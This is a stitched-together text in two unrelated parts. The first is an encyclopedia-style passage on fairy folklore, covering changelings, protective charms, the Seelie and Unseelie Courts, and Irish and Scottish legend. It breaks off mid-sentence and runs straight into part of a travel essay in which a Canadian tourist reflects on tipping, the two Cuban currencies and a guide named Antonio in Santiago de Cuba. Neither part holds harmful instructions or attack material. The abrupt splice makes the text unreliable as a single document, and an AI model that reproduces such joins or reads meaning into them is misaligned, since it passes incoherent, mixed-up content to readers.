There is a theory that fairy folklore evolved from folk memories of a prehistoric race: newcomers superseded a body of earlier human or humanoid peoples, and the memories of this defeated race developed into modern conceptions of fairies. Proponents find support in the tradition of cold iron as a charm against fairies, viewed as a cultural memory of invaders with iron weapons displacing peoples who had just stone, bone, wood, etc., at their disposal, and were easily defeated. 19th-century archaeologists uncovered underground rooms in the Orkney islands that resembled the Elfland described in Childe Rowland,[37] which lent additional support. In folklore, flint arrowheads from the Stone Age were attributed to the fairies as "elf-shot",[38] while their green clothing and underground homes spoke to a need for camouflage and covert shelter from hostile humans, their magic a necessary skill for combating those with superior weaponry. In a Victorian tenet of evolution, mythic cannibalism among ogres was attributed to memories of more savage races, practising alongside "superior" races of more refined sensibilities.[39]
Elementals
A theory that fairies, et al., were intelligent species, distinct from humans and angels.[40] An alchemist, Paracelsus, classed gnomes and sylphs as elementals, meaning magical entities who personify a particular force of nature, and exert powers over these forces.[41] Folklore accounts have described fairies as "spirits of the air".[42]
Characteristics
Much folklore of fairies involves methods of protecting oneself from their malice, by means such as cold iron, charms (see amulet, talisman) of rowan trees or various herbs, or simply shunning locations "known" to be theirs, ergo avoiding offending any fairies.[43] Less harmful pranks ascribed to fairies include: tangling the hair of sleepers into fairy-locks (aka elf-locks), stealing small items, and leading a traveler astray. More dangerous behaviors were also attributed to fairies; any form of sudden death might have stemmed from a fairy kidnapping, the evident corpse a magical replica of wood.[44] Consumption (tuberculosis) was sometimes blamed on fairies who forced young men and women to dance at revels every night, causing them to waste away for lack of rest.[45] Rowan trees were considered sacred to fairies,[46] and a charm tree to protect one's home.[47]
Classic representation of a small fairy with butterfly wings commonly used in modern times. Luis Ricardo Falero, 1888.
Classifications
In Scottish folklore, fairies are divided into the Seelie Court (more beneficently inclined, but still dangerous), and the Unseelie Court (more malicious). While fairies of the Seelie Court enjoyed playing generally harmless pranks on humans, those of the Unseelie Court often brought harm to humans for entertainment.[38]
Trooping fairies refers to those who appear in groups and might form settlements, as opposed to solitary fairies, who do not live or associate with others of their kind. In this context, the term fairy is usually held in a wider sense, including various similar beings, such as dwarves and elves of Germanic folklore.[48]
Changelings
A considerable amount of lore about fairies revolves around changelings, fairy children left in the place of stolen human babies.[7] In particular, folklore describes how to prevent the fairies from stealing babies and substituting changelings, and abducting older people as well.[49] The theme of the swapped child is common in medieval literature and reflects concern over infants thought to be afflicted with unexplained diseases, disorders, or developmental disabilities. In pre-industrial Europe, a peasant family's subsistence frequently depended upon the productive labor of each member, and a person who was a permanent drain on the family's scarce resources could pose a threat to the survival of the entire family.[50]
Protective charms
In terms of protective charms, wearing clothing inside out,[51] church bells, St. John's wort, and four-leaf clovers are regarded as effective. In Newfoundland folklore, the most popular type of fairy protection is bread, varying from stale bread to hard tack or a slice of fresh home-made bread. Bread is associated with the home and the hearth, as well as with industry and the taming of nature, and as such, seems to be disliked by some types of fairies. On the other hand, in much of the Celtic folklore, baked goods are a traditional offering to the folk, as are cream and butter.[21] “The prototype of food, and therefore a symbol of life, bread was one of the commonest protections against fairies. Before going out into a fairy-haunted place, it was customary to put a piece of dry bread in one’s pocket.”[52] In County Wexford, Ireland, in 1882, it was reported that “if an infant is carried out after dark a piece of bread is wrapped in its bib or dress, and this protects it from any witchcraft or evil.”[53]
Bells also have an ambiguous role; while they protect against fairies, the fairies riding on horseback — such as the fairy queen — often have bells on their harness. This may be a distinguishing trait between the Seelie Court from the Unseelie Court, such that fairies use them to protect themselves from more wicked members of their race.[54] Another ambiguous piece of folklore revolves about poultry: a cock's crow drove away fairies, but other tales recount fairies keeping poultry.[55]
While many fairies will confuse travelers on the path, the will o' the wisp can be avoided by not following it. Certain locations, known to be haunts of fairies, are to be avoided; C. S. Lewis reported hearing of a cottage more feared for its reported fairies than its reported ghost.[56] In particular, digging in fairy hills was unwise. Paths that the fairies travel are also wise to avoid. Home-owners have knocked corners from houses because the corner blocked the fairy path,[57] and cottages have been built with the front and back doors in line, so that the owners could, in need, leave them both open and let the fairies troop through all night.[58] Locations such as fairy forts were left undisturbed; even cutting brush on fairy forts was reputed to be the death of those who performed the act.[59] Fairy trees, such as thorn trees, were dangerous to chop down; one such tree was left alone in Scotland, though it prevented a road being widened for seventy years.[60]
A resin statue of a fairy
Other actions were believed to offend fairies. Brownies were known to be driven off by being given clothing, though some folktales recounted that they were offended by inferior quality of the garments given, and others merely stated it, some even recounting that the brownie was delighted with the gift and left with it.[61] Other brownies left households or farms because they heard a complaint, or a compliment.[62] People who saw the fairies were advised not to look closely, because they resented infringements on their privacy.[63] The need to not offend them could lead to problems: one farmer found that fairies threshed his corn, but the threshing continued after all his corn was gone, and he concluded that they were stealing from his neighbors, leaving him the choice between offending them, dangerous in itself, and profiting by the theft.[64]
Millers were thought by the Scots to be "no canny", owing to their ability to control the forces of nature, such as fire in the kiln, water in the burn, and for being able to set machinery a-whirring. Superstitious communities sometimes believed that the miller must be in league with the fairies. In Scotland, fairies were often mischievous and to be feared. No one dared to set foot in the mill or kiln at night, as it was known that the fairies brought their corn to be milled after dark. So long as the locals believed this, the miller could sleep secure in the knowledge that his stores were not being robbed. John Fraser, the miller of Whitehill, claimed to have hidden and watched the fairies trying unsuccessfully to work the mill. He said he decided to come out of hiding and help them, upon which one of the fairy women gave him a gowpen (double handful of meal) and told him to put it in his empty girnal (store), saying that the store would remain full for a long time, no matter how much he took out.[65]
It is also believed that to know the name of a particular fairy could summon it to you and force it to do your bidding. The name could be used as an insult towards the fairy in question, but it could also rather contradictorily be used to grant powers and gifts to the user.[citation needed]
Before the advent of modern medicine, many physiological conditions were untreatable and when children were born with abnormalities, it was common to blame the fairies.[66]
Legends
Sometimes fairies are described as assuming the guise of an animal.[67] In Scotland it was peculiar to the fairy women to assume the shape of deer; while witches became mice, hares, cats, gulls, or black sheep. In "The Legend of Knocksheogowna", in order to frighten a farmer who pastured his herd on fairy ground, a fairy queen took on the appearance of a great horse, with the wings of an eagle, and a tail like a dragon, hissing loud and spitting fire. Then she would change into a little man lame of a leg, with a bull's head, and a lambent flame playing round it.[68]
In the 19th-century child ballad "Lady Isabel and the Elf-Knight", the elf-knight is a Bluebeard figure, and Isabel must trick and kill him to preserve her life.[69] Child ballad "Tam Lin" reveals that the title character, though living among the fairies and having fairy powers, was in fact an "earthly knight" and though his life was pleasant now, he feared that the fairies would pay him as their teind (tithe) to hell.[69]
"Sir Orfeo" tells how Sir Orfeo's wife was kidnapped by the King of Faerie and only by trickery and excellent harping ability was he able to win her back. "Sir Degare" narrates the tale of a woman overcome by her fairy lover, who in later versions of the story is unmasked as a mortal. "Thomas the Rhymer" shows Thomas escaping with less difficulty, but he spends seven years in Elfland.[70] Oisín is harmed not by his stay in Faerie but by his return; when he dismounts, the three centuries that have passed catch up with him, reducing him to an aged man.[71] King Herla (O.E. "Herla cyning"), originally a guise of Woden but later Christianised as a king in a tale by Walter Map, was said, by Map, to have visited a dwarf's underground mansion and returned three centuries later; although only some of his men crumbled to dust on dismounting, Herla and his men who did not dismount were trapped on horseback, this being one account of the origin of the Wild Hunt of European folklore.[72][73]
A common feature of the fairies is the use of magic to disguise appearance. Fairy gold is notoriously unreliable, appearing as gold when paid but soon thereafter revealing itself to be leaves, gorse blossoms, gingerbread cakes, or a variety of other comparatively worthless things.[74]
These illusions are also implicit in the tales of fairy ointment. Many tales from Northern Europe[75][76] tell of a mortal woman summoned to attend a fairy birth — sometimes attending a mortal, kidnapped woman's childbed. Invariably, the woman is given something for the child's eyes, usually an ointment; through mischance, or sometimes curiosity, she uses it on one or both of her own eyes. At that point, she sees where she is; one midwife realizes that she was not attending a great lady in a fine house but her own runaway maid-servant in a wretched cave. She escapes without making her ability known but sooner or later betrays that she can see the fairies. She is invariably blinded in that eye or in both if she used the ointment on both.[77]
There have been claims by people in the past, like William Blake, to have seen fairy funerals. Allan Cunningham in his Lives of Eminent British Painters records that William Blake claimed to have seen a fairy funeral. "'Did you ever see a fairy's funeral, madam?' said Blake to a lady who happened to sit next to him. 'Never, sir!' said the lady. 'I have,' said Blake, 'but not before last night.' And he went on to tell how, in his garden, he had seen 'a procession of creatures of the size and colour of green and grey grasshoppers, bearing a body laid out on a rose-leaf, which they buried with songs, and then disappeared." They are believed to be an omen of death.
Tuatha Dé Danann
The Tuath(a) Dé Danann are a race of supernaturally-gifted people in Irish mythology. They are thought to represent the main deities of pre-Christian Gaelic Ireland. Many of the Irish tales of the Tuatha Dé Danann refer to these beings as fairies, though in more ancient times they were regarded as goddesses and gods. The Tuatha Dé Danann were spoken of as having come from islands in the north of the world or, in other sources, from the sky. After being defeated in a series of battles with other otherworldly beings, and then by the ancestors of the current Irish people, they were said to have withdrawn to the sídhe (fairy mounds), where they lived on in popular imagination as "fairies."[citation needed]
They are associated with several Otherworld realms including Mag Mell (the Pleasant Plain), Emain Ablach (the Fortress of Apples or the Land of Promise or the Isle of Women), and Tir na nÓg (the Land of Youth).
Aos Sí
The aos sí is the Irish term for a supernatural race in Irish and Scottish, comparable to the fairies or elves. They are variously said to be ancestors, the spirits of nature, or goddesses and gods.[78] A common theme found among the Celtic nations describes a race of diminutive people who had been driven into hiding by invading humans. In old Celtic fairy lore the Aos Sí (fairy folk) are immortals living in the ancient barrows and cairns. The Irish banshee (Irish Gaelic bean sí or Scottish Gaelic bean shìth, which both mean "woman of the fairy mound") is sometimes described as a ghost.[79]
In the 1691 The Secret Commonwealth of Elves, Fauns and Fairies, Reverend Robert Kirk, minister of the Parish of Aberfoyle, Stirling, Scotland, wrote:
These Siths or Fairies they call Sleagh Maith or the Good People...are said to be of middle nature between Man and Angel, as were Daemons thought to be of old; of intelligent fluidous Spirits, and light changeable bodies (lyke those called Astral) somewhat of the nature of a condensed cloud, and best seen in twilight. These bodies be so pliable through the sublety of Spirits that agitate them, that they can make them appear or disappear at pleasure[80]
In literature
The word "fairy" was used to describe an individual inhabitant of Faerie before the time of Chaucer.[2]
Fairies appeared in medieval romances as one of the beings that a knight errant might encounter. A fairy lady appeared to Sir Launfal and demanded his love; like the fairy bride of ordinary folklore, she imposed a prohibition on him that in time he violated. Sir Orfeo's wife was carried off by the King of Faerie. Huon of Bordeaux is aided by King Oberon.[81] These fairy characters dwindled in number as the medieval era progressed; the figures became wizards and enchantresses.[82]
The oldest fairies on record in England were first described by the historian Gervase of Tilbury in the 13th century.[83]
Morgan le Fay, whose connection to the realm of Faerie is implied in her name, in Le Morte d'Arthur is a woman whose magic powers stem from study.[84] While somewhat diminished with time, fairies never completely vanished from the tradition. Sir Gawain and the Green Knight is a late tale, but the Green Knight himself is an otherworldly being.[82] Edmund Spenser featured fairies in The Faerie Queene.[85] In many works of fiction, fairies are freely mixed with the nymphs and satyrs of classical tradition,[86] while in others (e.g., Lamia), they were seen as displacing the Classical beings. 15th-century poet and monk John Lydgate wrote that King Arthur was crowned in "the land of the fairy" and taken in his death |
banknotes for the tourist economy. In government accounting, CUCs and CUPs are valued one to one, but informally the CUC is worth about the same as the Canadian dollar, while the CUP has a street value of a nickel at most. CUPs are worthless outside Cuba, except as souvenirs.
Earlier in the day, I’d had ten CUCs snatched from my hand, and I was up on the roof of the Casa Granda trying to figure out what exactly had happened and how I really felt about it. It’s rare, once you’re well into the mortgage-and-kids phase of adulthood, to encounter a whole new category of emotion, but I was pretty sure I’d done just that out there on a dusty Santiago back street, and now I was probing the feeling to discern its dimensions.
What happened, in brief, is that my wife and I had hired a young man named Antonio to give us a tour.* We’d spent the morning chugging around in an ancient Moskvich sedan, with another young man driving as Antonio pointed out the sights and delivered a running commentary about what he called “the reality of Cuba.” We’d visited an Afro-Cuban cultural museum, toured the old Spanish fort, bought contraband rum. We’d gone back to Antonio’s tiny concrete box of a home, met his wife and mother, sipped beers, talked some politics, and taken pictures. In the late afternoon, he and another friend had led us to a lovely little restaurant at the base of Santiago’s landmark Padre Pico steps. We’d eaten grilled lobster, drunk more beers, and traded jokes and vows of eternal friendship.
* To protect individuals’ identities, some names have been changed.
At the end of the meal, I’d given the waiter CUC $80 and received CUC $10 in change, and as I stood there with the ten-peso note in my hand Antonio grabbed and pocketed it. I shot him a confused look, and he responded with a half shrug that seemed calibrated somewhere between What’s it matter? and You know the score. I hadn’t intended to give him the money, but he decided he deserved it. Hours later, on the rooftop patio of the Casa Granda, drinking a mojito that cost nearly half the amount I was obsessing about, I wondered what that shrug really meant.
This had all occurred in that informal, sketchily delineated commercial zone that springs up in pretty much any robust tourist economy, a grey market that is particularly broad and heavily trafficked in countries where visitors and locals are separated by wide gulfs of wealth, power, or political freedom. In Cuba, Antonio and I stood on opposite sides of a divide created by a substantial admixture of all three.
We were under no illusions, my wife and I. We understood that Antonio was, in local parlance, a jinetero—a tout or fixer, though in Cuba the word often suggests a darker meaning: hustler or scam artist. We’d participated in a drawn-out haggling courtship with him across a couple of days, a dance familiar to us from other trips to countries with bustling grey markets. There had been repeated encounters on a busy street in front of a tiny, decrepit photo studio that may or may not have been his usual place of work. He’d presented us with a gift of a photo and some cheap cigars, and we’d discussed the possibility of a city tour as if it were a friendly outing and not a paid transaction. We’d checked with the tour desk of the Meliá hotel, the only full-service resort in town, and knew that an organized tour in an air-conditioned bus would run us more than $100. We preferred the idea of giving our hard-currency CUCs and maybe a gift or two to an enterprising jinetero instead of to a government-controlled joint venture.
It was the right choice, and we had no regrets. It had been a fun day, revelatory in ways an official tour never could have been, and we’d been generous with Antonio and his family, paying out his fee in bits and pieces, in overpayments and unasked-for change. I’d overpaid for drinks at the Afro-Cuban cultural centre, handed him too much money by a factor of at least five to pick up a six-pack of beer to share back at his house. We’d stopped back at our hotel at the end of the tour and filled a bag for him and his family with markers, notebooks, two toothbrushes, some new towels, and a used pair of Adidas shorts. We’d paid him and the driver CUC $20 each for their work as guides—the equivalent of a month’s wages in a typical government job—and had bought him and his other friend lobster dinners (another month’s wages, although the place never would’ve served Cuban diners on their own, even if they’d had the CUCs).
So, yes: we all knew roughly what the score was. But to Antonio’s mind, I’d come up with a figure at least CUC $10 too low, and he’d taken it upon himself to round it up. At first, standing in the street outside the restaurant as he and his friend departed in a flurry of hugs and warm handshakes, I’d felt something verging on a sense of violation. Had I been robbed? Had I been—that most dreaded of veteran traveller fears—played somehow? Was I a sucker?
With the clarity of a second mojito and the brilliant sunset over Santiago Bay, I knew that wasn’t it. This wasn’t a robbery or a con. This is why it felt so weird: it wasn’t about what had happened to me; it was about who I was in Cuba. This had been a refusal to hew to the script of colonial power. It was a servant’s insubordination before his colonial master. It was, I came to think, a profoundly Cuban way to read the situation.
Of course I could spare the ten pesos, and Antonio had earned it and then some. I’d seen just enough to imagine how hard it would be for him to get his hands on another CUC $10 note, and he understood all too well how effortless it was for me to obtain a big stack of them. He wasn’t fully invested in the tourist economy’s cold logic of wealth and status, and he certainly didn’t feel he owed me any deference. He’d simply taken what was rightfully his, an inverted colonial tax on the day’s transaction. Quite literally, it was what the market would bear on that particular day in Santiago.
By the time I’d reached the mashed lime and mint leaves at the bottom of my second mojito, I saw the whole thing much more clearly: me and Antonio, Cuba and Canada, the whole trip. The real exchange rate on ten convertible pesos preoccupied me for the rest of our visit and cast new light on the month’s preparation leading up to it. Ten pesos was a bargain, really, for all that had been revealed.
Afew days before we departed for Cuba, we stopped by the Wal-mart in Antigonish, Nova Scotia, where we were visiting my parents for Christmas. We had pictures to get printed and some final purchases to make in preparation for the trip: sunscreen, medication, a high-capacity memory stick. One of the unspoken assumptions in Canada’s colonial relationship with Cuba is that tourists import stockpiles of consumer goods to hand out to locals. In Cuba, unlike the rest of the beach holiday Caribbean, it’s not just that people can’t afford as much as we can, but that much of what we take for granted is completely unavailable in Cuba’s truncated marketplace. I’d been reading on the Internet about what people suggested to bring: dental floss, shampoo, good towels, baseballs, vitamins and medicines, toothbrushes and school supplies, hardware and reading glasses.
We wandered Wal-mart’s over-lit aisles, past overflowing shelves, filling a cart with pens and notepads and econo-sized bottles of acetaminophen. We had our five-year-old daughter in reluctant tow, and she settled into a shelf piled with towels as if it were a bunk bed while we had an absurd debate about which of them to buy. The towel aisle had at least four distinct gradations of price and quality. I’d written “high-quality towels” on my list and put a big asterisk next to it, but I couldn’t remember whether I was reminding myself that towels were so useful we should buy as many as possible or that Cubans needed particularly high-quality towels. In the end, we bought two bath towels ($5 each), four washcloths ($2 each), and two hand towels ($4 each). By the time we reached the checkout, I could no longer remember whether they were higher in the quantity or the quality range. The total bill was $186.82, the equivalent of nine months’ average wages in Cuba. We paid with the swipe of a card and a tired shrug.
This, of course, is the way of the Canadian economy nowadays. We’re delirious with choice, so completely buried in our own abundance that it inspires reality TV series. Many of us rarely bother with cash; some digital chirrup races at the speed of light from Walmart’s till to a server farm representing the bank’s vault, and by the time we hit the automatic exit we can’t remember whether we paid $176 or $186 for the dead weight filling our cart. You could lose CUC $10 just by forgetting to put back that pack of fancy pencil crayons your kid tossed in while you were distracted.
For all the arbitrary afterthoughts that govern its periphery, Canada’s relationship with Cuba, economic and otherwise, is a significant one. Canada and Mexico were the only Western nations that didn’t cease diplomatic relations with Cuba during the tense missile crisis years of the early ’60s, and Fidel Castro was close enough to Pierre Trudeau that he served as an honorary pallbearer at the former prime minister’s funeral in Montreal. In the annals of Canadian diplomacy, there is no other international relationship in which Canada has stood as far apart from the US.
As a reward for our enduring friendship, Canada is probably the second most important economic ally Cuba has after Venezuela, which supplies more than 60 percent of the island’s oil. (China exports more stuff to Cuba, but the Chinese don’t show up daily by the multiple charter-flight-loads to hand out gifts and pour hundreds of millions of dollars into the Cuban economy.) Cuba is our largest trading partner in the whole of Central America and the Caribbean. We export a range of commodities to Cuba—sulphur, wheat, copper wire—and we are the second-largest buyer of Cuban exports, particularly sugar, nickel, fish, citrus fruits, and tobacco. That’s over $1 billion in total trade. The Canadian mining company Sherritt International has a huge presence in Cuba, digging up nickel; and Toronto-based Pizza Nova, the only foreign pizza joint in the country, has operated six outlets scattered across the island. Back home, meanwhile, souvenir shops in many Canadian cities feature humidors well stocked with Cuban tobacco products for sale to American tourists. The Cuban cigar has become, in a sense, as Canadian as maple syrup.
The economic view from the other end of this relationship is nowhere near as rosy. Since the collapse of the Soviet Union in the late ’80s, Cuba has struggled through a punishing “Special Period” during which its economy has existed in its own isolated socialist limbo: tethered to a failed Communist order, still barred from regular trade with the world’s largest economy just 145 kilometres across the sea, desperate for imports and the hard currency to pay for them. As Soviet goods vanished from Cuban pantries in the first years of the Special Period, the average Cuban’s calorie intake plummeted by 30 percent, and the local diet has never fully recovered. Cuba remains reliant on imported goods (increasingly, under a special exemption, from the US) for somewhere between 60 and 80 percent of its food. Cubans also switched almost overnight to organic and in some cases pre-industrial forms of local food production; the island has experienced a boom in the production of yokes and plows for use with oxen, for example, among many other austerity measures adopted to weather the Special Period’s rough, uncertain seas.
Austerity’s limits, though, are now lapping perilously high against the makeshift vessel’s sides. Since June 2009, Cuba has operated under emergency energy quotas in a program known as “Save or Die,” while the government has been laying off workers, encouraging small business development, and sending so many doctors abroad (as trade in kind for vital commodities such as oil) that there are now nearly twice as many Cubans caring for the sick overseas as there are working on the island. The government has begun to discuss phasing out subsidies for many staple goods, suggesting that the days are numbered for the ration stores that provide Cubans with much of their daily bread (and rice and beans and milk).
One recent study described Cuba’s current approach as “survival economics.” The Havana-based dissident blogger Yoani Sanchez, writing for the Huffington Post last August, summed up Cuba’s conundrum more eloquently: “We are in transition, something seems to be on the verge of being irreparably broken on this island, but we don’t realize it, sunk in the day-to-day and its problems… we are leaving behind something that seemed to us, at times, eternal.”
In the face of this deepening uncertainty, there remains one bright and intensifying light on Cuba’s troubled horizon, one safe port amid the Special Period storm: tourism. In 1990, at the dawn of this strange age, Cuba attracted 340,000 tourists; in 2011, it welcomed some 2.5 million. Since the announcement of the Save or Die program, Raúl Castro’s government has introduced ninety-nine-year leases for foreign investors, to encourage resort and golf course development; and it has loosened the restrictions on family-run, home-based restaurants (paladares) and guest houses (casas particulares), to provide more self-employment opportunities in the tourist sector. Meanwhile, one in four of the island’s 80,000 government tourist workers has a post-secondary degree. “Right now,” writes Sanchez, “the main incentive for those who work in snack bars, restaurants and hotels lies in the possibility of a visiting foreigner leaving them some material gratification.” More than a million of those foreigners, 44 percent of the total, are Canadians. The next-largest share, approximately 175,000, belongs to the British. Tipping, once regarded as counter-revolutionary and beneath the dignity of Cuban patriots, has become their most direct and vital connection to economic stability.
To be a Canadian tourist in Cuba is to be something more than a visitor, more even than a run-of-the-mill mark. It’s not just that you’re visibly foreign and rich; you’re a sort of modern vassal, the only readily accessible emissary of a metropole that has never been seen but is generally understood to be bounteous and benevolent.
Such were the macro-socioeconomic forces at work as we strolled down a broad downtown avenida on our first full day in Santiago. The traffic on the road was steady and loud, heavy with ancient GM trucks, diesel-belching Chinese buses, and antique Fords and Cadillacs with multiply rebuilt engines growling under their hoods. We stopped to admire the stunning facade of the Hotel Rex, a glorious art deco and neon relic from Cuba’s swinging ’50s. The Cuban Revolution was born in Santiago, and this was the hotel where the first Fidelistas stayed the night before their failed 1953 raid on the nearby Moncada Barracks. (Following the attack, Fidel, forced from Cuba for leading the attack, would meet Che Guevara during his Mexican exile, returning a few years later and capturing Santiago in late 1958—the first major victory of the revolutionary war.)
Later that morning, a young man waved to us from a concrete stoop half a storey above street level. He’d noticed my wife’s camera and invited us in to see his little photo studio. In his solid but thickly accented English, he introduced himself as Antonio.
The studio was a study in contemporary Cuban improvisation. It was located in the cramped front room of the old house, its walls crumbling and peeling in that signature Special Period way. The only light came from a single bare fluorescent tube mounted horizontally on one wall, its unearthly glare illuminating a threadbare white curtain. The sole piece of photographic equipment was a point-and-shoot digital camera that looked at least five years old and produced pictures several megapixels smaller than the ones taken by a basic smart phone. In Santiago, though, access to any digital camera evidently provided a sufficient foundation for a photography business.
Antonio and a couple of colleagues were taking pictures of a baby girl and her proud parents. Her first birthday party was this coming Saturday, and we were promptly invited to attend. We posed for pictures with the birthday girl and her family, and then they left and Antonio launched into a protracted monologue about the local photo business, Santiago (“the most Caribbean city in Cuba”), and his own Afro-Cuban heritage. He dug out his passport and showed us the visa from a trip he’d taken to Amsterdam a few years earlier. He had a couple of pictures of himself in a toque and a heavy coat in the Dutch winter. He knew a musician, he said, who had toured Canada. His ache for escape was palpable.
We left Antonio with a vague promise to return, perhaps for a tour of “the real Cuba,” perhaps for the birthday party. We were under no obligation, and we knew enough to be wary, but we meant it all the same.
It was a glorious day, warm under a gentle sun, and we strolled lazily down a nearby market street, stopping to gawk at the strange array of goods in the government shops. Cheap Chinese shoes and plastic toys were displayed on shelves or under glass in half-empty cases. There was a store full of knock-off electronics and tiny washing machines. All of it was bathed in late-afternoon shadow, the lights kept Save or Die low. Locals clutching creased ration books lined up out the door at an egg dispensary.
We came upon a nook where a young woman was selling ice cream bars. A small sign read “$3.00.” I asked for one and handed her three CUC $1 coins, realizing even as I dropped them in her hand that the sign was surely referring to nonconvertible CUPs. She whisked the coins away into a cubbyhole below the counter, trying hard to seem merely efficient. She handed me an ice cream on a stick and fixed me with a blank stare. I held her gaze for a yawning moment, not sure what I was waiting for. We were colonizer and colonized, deep in the fuzzy grey market of the tourist economy, wondering who would blink first. “Gracias,” I said finally, and we walked on down the street.
A few blocks farther along, I came to understand just how much I’d overpaid. The ice cream had been chalky and flavourless and we were still peckish, so we stopped at a corner where an old woman was selling roasted peanuts wrapped in paper cones. I gestured for one and handed her a twenty-five-centavo coin, a twelfth of what I’d paid for the ice cream. She was aghast. An old man standing next to her made an exaggerated goggle-eyed gesture of shock and then scooped up as many of the cones as his two hands could hold, nearly everything on her tray. Eventually, we settled on two cones for the quarter, for which she thanked us extravagantly.
I’d handed the girl at the ice cream stall a windfall. She sold lousy ice cream to locals from a stall on the state store shopping street in a largely tourist-free city. (Unlike Havana, which draws hordes of visitors on its own and many more on day trips from nearby Varadero’s crowded resort strip, Santiago is too remote for the package tour masses, three hours by road from the much smaller cluster of beach developments near Holguin.) She had no expectation of returning home that night with CUCs in her pocket—a week’s wage in a single, accidental hard-currency tip. But we were, after all, Canadians on the sunny end of thousand-dollar flights, and what did a couple of misspent CUCs matter here or there? The price of almost everything was arbitrary in Cuba. Normal rules didn’t apply. That was part of the fun.
We spent a week in Santiago, and only twice did we encounter anything like a posted exchange rate, both times at live music venues near the main square. The first was at the government-run Artex music store, which sells an exhaustive range of Cuban music CDs (after rum and cigars, probably Cuba’s most popular souvenir and its most widely adored cultural export). A small courtyard out the back features live music all afternoon and evening, and a sign at the top of the stairs leading down to the patio lists the admission prices in both convertible and nonconvertible pesos: “CUC $1.00/CUP $20.00.” Up the street at Casa de la Trova, the most storied music hall in Santiago if not all of Cuba, locals were paying CUP $25 for an admission ticket marked “CUC $1.00.”
Once, walking past a ration store, I saw rice listed on the chalkboard above the long, weathered wooden counter at $0.25 per pound (CUP, of course). At Patio de Artex’s twenty-to-one exchange rate, I’d paid CUP $60—enough to buy 240 pounds of rice—for one barely edible ice cream bar. We could have bought 160 pounds of rice for what we spent to watch an hour of music one fine afternoon on the patio.
Let’s talk about that Patio de Artex show. It points to the most obvious reason, beyond the availability and convenience of cheap flights or the historical friendship or the incomparable quality of a real hand-rolled Cohiba, that more than a million Canadians visit Cuba every year (compared, for example, with the 754,000 who travel to the Dominican Republic, where prices are lower, the cigars and rum are equally plentiful, and the logistics are uncomplicated by Communist bureaucracy and the grim exigencies of the Special Period). It’s related to why it’s no accident that Cuba alone has managed to pass half a century in open, hostile defiance of the world’s most powerful nation just to the north. Every country has its character and customs and quirks, but there’s a depth of soul to Cuba that puts it in a class by itself. Cuban music has set the tone and the rhythm for much of Latin American music for generations, and it’s the most visceral manifestation of the island’s indomitable spirit.
So, yes, let’s talk about the Patio de Artex show. At the precipitous cliff’s edge of the Special Period, even after many grinding months of Save or Die austerity, you can still find a table at Patio de Artex on any old Friday afternoon and watch eight guys in donated T-shirts and Chinese jeans transform a courtyard into one of the best places on earth from which to launch a weekend. Mojitos sweating through plastic cups on the table, the trumpet player muting his horn with his hand to add a vampish growl to the son they’re tearing up, a propulsion in the rhythm that hauls even a hopeless, doubly left-footed non-dancer like me to his feet—this is what you get for your 160-pounds-of-rice admission at Patio de Artex. You get escape, transcendence. The show would have been a bargain at CUC $10 a head.
This is why Canadians come back again and again. And why, perhaps, they bring even more T-shirts and towels and acetaminophen the next time: because these people deserve more for their labour. They deserve better. Yes, this is true of any picturesque beach destination in the impoverished tropics, but in Cuba it’s somehow more undeniable. Maybe it’s the grinding workaday cruelty of the Special Period, the utter absurdity of America’s ongoing embargo. Maybe we delude ourselves, in Mexico or Jamaica, with the notion that the society’s nominal freedom means no absolute barrier exists between our decadent days by the pool and the women slaving away at the messes in our hotel rooms. Anyway, there’s something about Cuba that brings the arbitrary nature of wealth and power and material comfort into especially high relief. And so we bring stuff. Gifts. Offerings. Talismans of apology and absolution.
Live music is not hard to find in Santiago de Cuba. The city prides itself on being the place where African rhythms first mated with Spanish harmonies and instrumentation to produce the itinerant nineteenth-century musical tradition called trova, the wellspring of Cuba’s world-conquering musical culture.
One evening at Casa de la Trova, we caught a fantastic seven-piece group called Ecos del Tivoli who performed in matching suits. At other shows, we heard “Chan Chan,” the Buena Vista Social Club’s signature tune, played about a dozen different ways. We went to the paladar closest to our hotel early one night, and they opened up just for us, and before they even took our orders a kindly older man in a fedora showed up with a guitar to serenade us (his yearning take on “House of the Rising Sun” was a highlight). We bought one of his son band’s CDs (CUC $10, counting a tip for the serenade) and then saw him in the crowd a couple of nights later at Casa de la Trova, where he cajoled a prostitute into showing me a couple of moves on the dance floor.
One afternoon, as we wandered the back streets around the original Bacardi rum distillery, an old woman approached us on the corner. She explained that she worked in economics and computers but her lifelong passion was opera, and then she asked if we’d like to hear a song. As locals strolled past with little more than a glance—just another afternoon in Santiago—she treated us to a passionate mambo in a voice that revealed years of classical training.
On Calle Heredia, a side street near Santiago’s main square, there is a small tourist market. Sidewalk vendors hawk handicrafts, and behind them small shops and kiosks trade in antiques, art, and souvenirs. I repeatedly visited one in particular, a place the size of a walk-in closet stuffed to the rafters with books, postcards, and old Cuban LPs. As soon as I expressed an interest in the records, the shop’s proprietor, a genial senior citizen in a newsboy cap, grinned at me around his cigar stub and started yanking out records and throwing them on his phonograph. He tangoed around his shop, pouring out coffees for both of us. I bought priceless son records for a CUC or two apiece, and a small stack of ’70s back issues of Bohemia—once one of Latin America’s most important magazines—for the same unit price. For reasons I never fully understood, the old gent threw in a freebie, a fold-out postcard packet dated 1958, featuring photos of the La Seo Cathedral in Saragossa, Spain.
What would you consider a fair price for admission to one of the best musical theme parks on earth? Twenty bucks? Fifty? What do they charge to get into the Grand Ole Opry in Nashville? If they’d asked me, as we boarded our flight home, for CUC $10 for the old lady’s street corner bolero, I’d have paid it gladly. What I felt most acutely, weeks later, is that I’d failed repeatedly to leave an adequate tip.
Let’s talk about where to eat in Santiago (and how to under-tip there). The state-run restaurants—the CUC joints for tourists, as well as the CUP places for locals—are a complete waste of time. The food in the family-run restaurants, the paladares, is in another league entirely. Paladares were black market operations, just a couple of tables in someone’s family kitchen, until the mid-’90s, when some of them were licensed and subjected to byzantine regulations and steep fees. The unlicensed ones, though, remain the best, and we found one around the corner from another trova hall, the Casa de las Tradiciones, simply by asking the guy at the door if he knew of a place nearby to eat.
He led us briskly up a side street, where seemingly every twentysomething male in the neighbourhood was gathered around a boisterous roadside domino game. As we approached, a young man stepped away from the crowd and introduced himself as Luis. He led us a couple of blocks farther along to a tiny bungalow and invited us to take a seat in the living room, where a woman who appeared to be his grandmother was watching telenovelas. Luis disappeared into a back room for what felt like half an hour. When he finally returned, he ushered us past the kitchen, through a narrow bedroom with kids’ bunk beds against one wall, and down a concrete staircase to a small patio. A single table had been set immaculately before a panoramic view of Santiago Bay. Trova played on a portable stereo while our host, with a veteran tour guide’s ease, rattled off historical details about Santiago’s port and its slave trading history.
